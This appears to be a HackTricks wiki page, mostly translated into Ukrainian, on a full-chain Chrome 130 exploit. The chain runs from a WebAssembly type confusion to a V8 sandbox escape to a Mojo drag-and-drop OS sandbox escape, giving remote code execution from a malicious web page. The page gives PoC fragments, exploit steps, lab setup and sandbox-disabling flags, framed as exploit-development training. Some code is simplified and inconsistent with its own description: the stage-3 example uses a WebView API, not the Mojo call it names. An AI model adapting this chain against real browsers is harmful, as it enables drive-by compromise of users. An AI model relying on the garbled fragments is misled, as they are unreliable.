Експлуатація Chrome
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Ця сторінка надає високорівневий, але практичний огляд сучасного “full-chain” робочого процесу експлуатації Google Chrome 130, базованого на серії досліджень “101 Chrome Exploitation” (Part-0 — Preface). Мета — надати pentesters та exploit-developers мінімальний набір знань, необхідних для відтворення або адаптації технік для власних досліджень.
1. Огляд архітектури Chrome
Розуміння attack surface вимагає знати, де виконується код і які sandboxes застосовуються.
Розташування процесів Chrome та структура sandbox
```text +-------------------------------------------------------------------------+ | Chrome Browser | | | | +----------------------------+ +-----------------------------+ | | | Renderer Process | | Browser/main Process | | | | [No direct OS access] | | [OS access] | | | | +----------------------+ | | | | | | | V8 Sandbox | | | | | | | | [JavaScript / Wasm] | | | | | | | +----------------------+ | | | | | +----------------------------+ +-----------------------------+ | | | IPC/Mojo | | | V | | | +----------------------------+ | | | | GPU Process | | | | | [Restricted OS access] | | | | +----------------------------+ | | +-------------------------------------------------------------------------+ ```Багаторівневий захист у глибину:
- V8 sandbox (Isolate): дозволи пам’яті обмежені, щоб запобігти довільному читанню/запису з JITed JS / Wasm.
- Renderer ↔ Browser split забезпечується через передавання повідомлень Mojo/IPC; рендерер не має нативного доступу до FS/network.
- OS sandboxes додатково ізолюють кожен процес (Windows Integrity Levels /
seccomp-bpf/ macOS sandbox profiles).
Отже remote атакуючому потрібні три послідовні примітиви:
- Pошкодження пам’яті в V8, щоб отримати arbitrary RW inside the V8 heap.
- Друга уразливість, що дозволяє атакуючому escape the V8 sandbox to full renderer memory.
- Остаточний sandbox-escape (часто логіка, а не пошкодження пам’яті) для виконання коду outside of the Chrome OS sandbox.
2. Етап 1 – WebAssembly Type-Confusion (CVE-2025-0291)
Проблема в оптимізації TurboFan’s Turboshaft неправильно класифікує WasmGC reference types, коли значення продукується і споживається всередині single basic block loop.
Наслідок:
- Компілятор пропускає перевірку типу, трактуючи reference (
externref/anyref) як int64. - Сфабрикований Wasm дозволяє накладати заголовок JS-об’єкта на дані, контрольовані атакуючим →
addrOf()&fakeObj()AAW / AAR primitives.
Мінімальний PoC (фрагмент):
(module
(type $t0 (func (param externref) (result externref)))
(func $f (param $p externref) (result externref)
(local $l externref)
block $exit
loop $loop
local.get $p ;; value with real ref-type
;; compiler incorrectly re-uses it as int64 in the same block
br_if $exit ;; exit condition keeps us single-block
br $loop
end
end)
(export "f" (func $f)))
Спровокувати оптимізацію & spray objects from JS:
const wasmMod = new WebAssembly.Module(bytes);
const wasmInst = new WebAssembly.Instance(wasmMod);
const f = wasmInst.exports.f;
for (let i = 0; i < 1e5; ++i) f({}); // warm-up for JIT
// primitives
let victim = {m: 13.37};
let fake = arbitrary_data_backed_typedarray;
let addrVict = addrOf(victim);
Outcome: arbitrary read/write within V8.
3. Етап 2 – Втеча з V8 Sandbox (issue 379140430)
Коли Wasm function проходить Tier-Up-компіляцію, генерується JS ↔ Wasm wrapper. Баг невідповідності сигнатур змушує wrapper записувати за кінцем надійного Tuple2 об’єкта, коли Wasm function ре-оптимізується поки ще на стеці.
Перезапис двох 64-бітних полів об’єкта Tuple2 надає read/write на будь-яку адресу всередині Renderer process, фактично обходячи V8 sandbox.
Ключові кроки експлойту:
- Помістити function у стан Tier-Up шляхом чергування turbofan/baseline коду.
- Триггернути Tier-Up, зберігаючи посилання на стеці (
Function.prototype.apply). - Використати Stage-1 AAR/AAW щоб знайти й пошкодити суміжний
Tuple2.
Ідентифікація wrapper:
function wrapperGen(arg) {
return f(arg);
}
%WasmTierUpFunction(f); // force tier-up (internals-only flag)
wrapperGen(0x1337n);
Після пошкодження пам’яті ми отримуємо повнофункціональний renderer R/W primitive.
4. Stage 3 – Renderer → OS Sandbox Escape (CVE-2024-11114)
The Mojo IPC interface blink.mojom.DragService.startDragging() can be called from the Renderer with частково довіреними parameters. By crafting a DragData structure pointing to an довільний шлях до файлу the renderer convinces the browser to perform a нативну drag-and-drop поза renderer sandbox.
Зловживаючи цим, ми можемо програмно «перетягнути» шкідливий EXE (попередньо поміщений у доступне для запису всім розташування) на Desktop, де Windows автоматично виконує певні типи файлів після їх скидання.
Приклад (спрощено):
const payloadPath = "C:\\Users\\Public\\explorer.exe";
chrome.webview.postMessage({
type: "DragStart",
data: {
title: "MyFile",
file_path: payloadPath,
mime_type: "application/x-msdownload"
}
});
No additional memory corruption is necessary – the logic flaw gives us arbitrary file execution with the user’s privileges.
5. Повний ланцюг експлуатації
- Користувач відвідує шкідливу веб-сторінку.
- Етап 1: Wasm module зловживає CVE-2025-0291 → V8 heap AAR/AAW.
- Етап 2: Невідповідність wrapper’а пошкоджує
Tuple2→ втеча з V8 sandbox. - Етап 3:
startDragging()IPC → втеча з OS sandbox та виконання payload.
Результат: Remote Code Execution (RCE) на хості (Chrome 130, Windows/Linux/macOS).
6. Налаштування лабораторії та налагодження
# Spin-up local HTTP server w/ PoCs
npm i -g http-server
git clone https://github.com/Petitoto/chromium-exploit-dev
cd chromium-exploit-dev
http-server -p 8000 -c -1
# Windows kernel debugging
"C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\windbgx.exe" -symbolpath srv*C:\symbols*https://msdl.microsoft.com/download/symbols
Корисні прапорці при запуску розробницької збірки Chrome:
chrome.exe --no-sandbox --disable-gpu --single-process --js-flags="--allow-natives-syntax"
7. Renderer → kernel ресурс для втечі
Коли renderer exploit потребує kernel pivot, який залишається в межах seccomp profile, зловживання AF_UNIX MSG_OOB sockets, що все ще доступні в межах sandbox, дає детермінований шлях. Перегляньте case-study Linux kernel exploitation нижче щодо SKB UAF → kernel RCE chain:
Af Unix Msg Oob Uaf Skb Primitives
Висновки
- WebAssembly JIT bugs залишаються надійною точкою входу – система типів ще молода.
- Отримання другої memory-corruption bug всередині V8 (наприклад, wrapper mismatch) суттєво спрощує V8-sandbox escape.
- Логічні слабкості в привілейованих Mojo IPC інтерфейсах часто достатні для final sandbox escape – стежте за non-memory багами.
Посилання
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.


